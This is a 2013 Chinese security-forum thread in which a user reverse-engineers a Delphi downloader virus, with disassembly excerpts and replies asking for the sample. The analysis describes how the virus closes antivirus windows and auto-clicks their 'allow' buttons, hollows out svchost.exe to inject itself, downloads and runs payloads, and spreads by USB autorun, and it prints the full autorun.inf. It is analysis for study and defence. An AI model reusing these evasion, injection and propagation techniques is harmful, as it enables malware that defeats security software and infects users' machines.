h_one 发表于 2013-7-16 01:45

简单替换执行病毒

简单分析报告:
基本信息
作者: jwn
样本类型:替换执行体
壳信息:无壳
可能受到威胁的系统:windows
【编写语言】: Borland Delphi 6.0 - 7.0
【使用工具】: PEID,OD,IDA
【操作平台】: D-Windows XP3
简介:
运行程序后,程序自动删除,并且开始系统没有任何反应,会在C:\Program Files\WindowsUpdate目录下下载一些程序,C盘下面新建一个auto.ini
内容为,这样当有U盘插入的时候,可以复制自己进行传播,并删除C盘下的auto,ini文件。

简单分析:

OD载入,,右键查看字符串,发现
C:\Program Files\WindowsUpdate\sys3.exe
C:\Program Files\WindowsUpdate\sys4.exe
C:\Program Files\WindowsUpdate\sys5.exe
C:\Program Files\WindowsUpdate\sys6.exe 等所以十有八九都是个下载者病毒

131458E0|.64:8920            mov dword ptr fs:,esp
131458E3|.68 4C5A1413   push 5.13145A4C                                                   ;dxdown
131458E8|.6A FF                push -0x1
131458EA|.6A 00               push 0x0
131458EC|.E8 67E5FFFF    call 5.13143E58                                                   ;CreateMutes
跟进call 13143E58

这个call功能是,调用CreateMutes建议一个互斥对象,名为dxdown 这就是保证系统中只有一个病毒实例运行
g_Mute = CreateMutes(NULL, TRUE, "dxdown");
if(g_Mute)
{       
    if (ERROR_ALREADY_EXISTS == GetLastError())
    {
      cout<<"only instance are running!"<<endl;
      return;
    }

}


接下来是创建一个线程, 在反汇编窗口跟随131444B8到并下断
131444E4/$51                     push ecx
131444E5|.84C0                  test al,al
131444E7|.74 15                   je X5.131444FE
131444E9|.54                        push esp                                                          ; /pThreadId
131444EA|.6A 00                  push 0x0                                                          ; |CreationFlags = 0
131444EC|.6A 00                  push 0x0                                                          ; |pThreadParm = NULL
131444EE|.68 B8441413       push 5.131444B8                                                   ; |ThreadFunction = 5.131444B8
131444F3|.6A 00                   push 0x0                                                          ; |StackSize = 0x0
131444F5|.6A 00                   push 0x0                                                          ; |pSecurity = NULL
131444F7|.E8 84F9FFFF         call <jmp.&KERNEL32.CreateThread>         ; \CreateThread
131444FC|.5A                        pop edx
131444FD|.C3                        retn

此线程功能:创建一个延迟一毫秒发生的时间事件。在回调函数131443DC下断


进入回调函数 调用FindWindows发现窗口"AVP.Void","AVP.Product_Notification", "Q360SafeMonClass"窗口类名句柄 ,当发现就向窗口发送WM_SYSCOMMAND消息,参数wParam = 0xF060表示Close



若发现AVP.AlertDialog窗口类,枚举他的子窗口,实现对该程序的操作,再回调函数13144198下断(我机器上没按这个东东,,也就走到了,大概可以看出)




如发现"AVP.AlertDialog"的窗口,则查找起窗口内的名为"AVP.Button","允许", "允許", "跳过", "跳過"等按扭,调用SendMessage发送BM_CLICK消息来模拟用户点击.

131441EC|.E8 17E9FFFF            call 5.13142B08
131441F1|.68 FF000000            push 0xFF                                          ; /Count = FF (255.)
131441F6|.8D85 00FFFFFF          lea eax,                                 ; |
131441FC|.50                     push eax                                           ; |Buffer
131441FD|.53                     push ebx                                           ; |hWnd
131441FE|.E8 45FDFFFF            call <jmp.&user32.GetClassNameA>                   ; \GetClassNameA
13144203|.68 FF000000            push 0xFF                                          ; /Count = FF (255.)
13144208|.8D85 00FEFFFF          lea eax,                              ; |
1314420E|.50                     push eax                                           ; |Buffer
1314420F|.53                     push ebx                                           ; |hWnd
13144210|.E8 43FDFFFF            call <jmp.&user32.GetWindowTextA>                  ; \GetWindowTextA
13144215|.8D95 FCFDFFFF          lea edx,
1314421B|.8D85 00FFFFFF          lea eax,
13144221|.E8 52FEFFFF            call 5.13144078
13144226|.8B85 FCFDFFFF          mov eax,
1314422C|.BA 70431413            mov edx,5.13144370                                 ;AVP.Button
13144231|.E8 C2F5FFFF            call 5.131437F8
13144236|.0F85 F8000000          jnz 5.13144334
1314423C|.8D95 F8FDFFFF          lea edx,
13144242|.8D85 00FEFFFF          lea eax,
13144248|.E8 2BFEFFFF            call 5.13144078
1314424D|.8B85 F8FDFFFF          mov eax,
13144253|.BA 84431413            mov edx,5.13144384                                 ;允许
13144258|.E8 9BF5FFFF            call 5.131437F8
1314425D|.0F84 B3000000          je 5.13144316
13144263|.8D95 F4FDFFFF          lea edx,
13144269|.8D85 00FEFFFF          lea eax,
1314426F|.E8 04FEFFFF            call 5.13144078
13144274|.8B85 F4FDFFFF          mov eax,
1314427A|.BA 94431413            mov edx,5.13144394                                 ;跳过
1314427F|.E8 74F5FFFF            call 5.131437F8
13144284|.0F84 8C000000          je 5.13144316
1314428A|.8D95 F0FDFFFF          lea edx,
13144290|.8D85 00FEFFFF          lea eax,
13144296|.E8 DDFDFFFF            call 5.13144078
1314429B|.8B85 F0FDFFFF          mov eax,
131442A1|.BA A4431413            mov edx,5.131443A4                                 ;允许
131442A6|.E8 4DF5FFFF            call 5.131437F8
131442AB|.74 69                  je X5.13144316
131442AD|.8D95 ECFDFFFF          lea edx,
131442B3|.8D85 00FEFFFF          lea eax,
131442B9|.E8 BAFDFFFF            call 5.13144078
131442BE|.8B85 ECFDFFFF          mov eax,
131442C4|.BA B4431413            mov edx,5.131443B4                                 ;跳过
131442C9|.E8 2AF5FFFF            call 5.131437F8
131442CE|.74 46                  je X5.13144316
131442D0|.8D95 E8FDFFFF          lea edx,
131442D6|.8D85 00FEFFFF          lea eax,
131442DC|.E8 97FDFFFF            call 5.13144078
131442E1|.8B85 E8FDFFFF          mov eax,
131442E7|.BA C4431413            mov edx,5.131443C4
131442EC|.E8 07F5FFFF            call 5.131437F8
131442F1|.74 23                  je X5.13144316
131442F3|.8D95 E4FDFFFF          lea edx,
131442F9|.8D85 00FEFFFF          lea eax,
131442FF|.E8 74FDFFFF            call 5.13144078
13144304|.8B85 E4FDFFFF          mov eax,
1314430A|.BA D4431413            mov edx,5.131443D4
1314430F|.E8 E4F4FFFF            call 5.131437F8
13144314|.75 1E                  jnz X5.13144334
13144316|>6A 00                  push 0x0                                           ; /lParam = 0x0
13144318|.6A 00                  push 0x0                                           ; |wParam = 0x0
1314431A|.68 F5000000            push 0xF5                                          ; |Message = BM_CLICK
1314431F|.53                     push ebx                                           ; |hWnd
13144320|.E8 43FCFFFF            call <jmp.&user32.SendMessageA>                  ; \SendMessageA
13144325|.6A 00                  push 0x0                                           ; /lParam = 0x0
13144327|.6A 00                  push 0x0                                           ; |wParam = 0x0
13144329|.68 F5000000            push 0xF5                                          ; |Message = BM_CLICK
1314432E|.53                     push ebx                                           ; |hWnd
1314432F|.E8 34FCFFFF            call <jmp.&user32.SendMessageA>                  ; \SendMessageA
13144334|>83CB FF                or ebx,0xFFFFFFFF


调用CreateProcess 创建进程c:\windows\system32\svchost.exe 注意 传递参数CREATE_SUSPENDED 启动后立即挂起



解析自身,得到自身装载大小SizeofImage,调用VirtualAllocEx 在svchost.exe进程空间(地址为病毒加载基址)开辟SizeOfImage大小空间,
调用WriteProcessMemorys把病毒自身写入,调用GetThreadContext得到线程上下文(调用这个函数之前要设置pContext.contextflag这个字段表示要得到context的哪些信息),+84指向eip,调用SetThreadContext函数设置新的eip=13144E88, 最后调用ResumeThread函数唤醒线程,试svchost.exe进程空间中的病毒代码运行。


创建的病毒进程c:\windows\system32\svchost.exe在f8到ResumeThread函数后,病毒运行完自身功能就会推出并删除自身,所以在调用这个函数之前,找到该进程载入OD,或附加该进程。(我一直没有成功,求大家指教。我就静态看的了)转到13144E88地址
该过程的功能大概就是调用“URLDownloadToFileA”从指定的URL,上下载病毒程序,到指定位置.之后调用ShellExecuteA函数执行下载的病毒程序
文件的指定存储地址名
"C:\Program Files\WindowsUpdate\sys.exe"
"C:\Program Files\WindowsUpdate\sys2.exe"
"C:\Program Files\WindowsUpdate\sys3.exe"
"C:\Program Files\WindowsUpdate\sys4.exe"
"C:\Program Files\WindowsUpdate\sys5.exe"
"C:\Program Files\WindowsUpdate\sys6.exe"
"C:\Program Files\WindowsUpdate\sys7.exe"
"C:\Program Files\WindowsUpdate\sys8.exe"
"C:\Program Files\WindowsUpdate\sys9.exe"
"C:\Program Files\WindowsUpdate\sys10.exe"




病毒在C盘目录下创建auto.inf文件,(点击磁盘后会自动运行指定程序,读光盘就是这个原理吧)
在文件中写入


open=system.exe
shell\open=打开(&O)
shell\open\Command=system.exe
shell\open\Default=1
shell\explore=资源管理器(&X)
shell\explore\Command=system.exe



13144710|.8B45 EC                   mov eax,
13144713|.E8 DCF1FFFF            call 5.131438F4
13144718|.8D45 F8                   lea eax,
1314471B|.B9 7C491413         mov ecx,5.1314497C                                 ;\auto.inf
13144720|.8B55 EC                   mov edx,
13144723|.E8 5CF0FFFF             call 5.13143784                                          ;len
13144728|.6A 00                     push 0x0
1314472A|.8B45 F8                   mov eax,                                        ;C:\auto.inf
1314472D|.E8 6AF1FFFF         call 5.1314389C
13144732|.50                            push eax                                          ; |FileName
13144733|.E8 D0F7FFFF         call <jmp.&KERNEL32.SetFileAttributesA>         ; \SetFileAttributesA
13144738|.8B55 F8                   mov edx,
1314473B|.8D85 20FEFFFF       lea eax,
将数据写入缓冲区 调用writeFile将数据写入auto.inf文件 (点击c就会自动运行system.exe程序)



通过遍历磁盘(从C盘开始)通过调用GetDriveTypeA函数得到磁盘类型,cmp eax,0x2比较磁盘类型,0x2是无移动磁盘的宏,若找到可移动磁盘
病毒文件命名为system.exe复制到该磁盘根目录下,并将"C:\auto.inf"复制到该磁盘根目录下命名为Autorun.inf。实现病毒通过可移动存储设备的传播功能




实现U盘感染后,将c盘目录下的auto.inf文件删除,,,,


最后病毒使用CMD命令删除自身





晕,,,死就这样吧。













qq63 发表于 2013-7-16 08:36

学习下这个有病毒样本么????、

h_one 发表于 2013-7-16 12:33

哎,,,失误了忘记上了

vip_zhizun 发表于 2013-7-23 04:55

分析的不错

xiawei1203 发表于 2013-7-23 05:20

kangkai 发表于 2013-7-23 18:53

亲,怎么没有样本呀。

Cari丶 发表于 2013-8-4 23:12

很详细的分析。可是病毒样本呢。

willJ 发表于 2013-8-28 01:15

分析得不错,但是不太明白文章为何取这个名字
楼主可以尝试看看下载下来的样本,或许有新发现喲

h_one 发表于 2013-8-30 11:18

蒋老师{:1_931:},,小弟分析的不全{:1_923:}。我去看看
页: [1]
查看完整版本: 简单替换执行病毒